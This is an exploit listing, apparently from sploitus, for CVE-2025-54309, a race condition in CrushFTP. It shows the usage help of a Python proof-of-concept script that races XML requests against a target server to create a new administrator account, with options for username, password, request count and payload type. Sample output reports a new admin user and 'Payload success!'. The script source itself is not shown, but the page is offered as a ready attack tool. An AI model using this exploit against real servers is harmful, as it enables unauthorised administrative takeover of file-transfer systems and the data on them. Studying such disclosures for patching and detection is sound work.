Exploit for Unprotected Alternate Channel in Crushftp CVE-2025-54309

## https://sploitus.com/exploit?id=69B6AAA3-60F6-5D4D-829C-E8F96DB45338
# CVE-2025-54309 - CrushFTP

## Affected Versions
- < 10.8.5
- < 11.3.4_34


Race condition PoC by watchtower, adjusted to be more extensible.

```
python crushedftp.py
usage: crushedftp.py [-h] [-u USERNAME] [-p PASSWORD] [-r REQUESTS] [-P PAYLOAD] target

CrushFTP CVE-2025-54309 XML Race Condition Exploit

positional arguments:
  target                Target CrushFTP URL (e.g. http://ftp.myserver.poo)

options:
  -h, --help            show this help message and exit
  -u, --username USERNAME
                        username for user_create payload: (default: meow)
  -p, --password PASSWORD
                        password for user_create payload (default: meow!)
  -r, --requests REQUESTS
                        Number of request pairs (default: 5000)
  -P, --payload PAYLOAD
                        payload type
```

```
[*] Target: http://ftp.test.com
[*] New admin user: test:test
[*] PROGRESS: 50/5000 request pairs completed...
[+] Payload success!
Payload Success!
```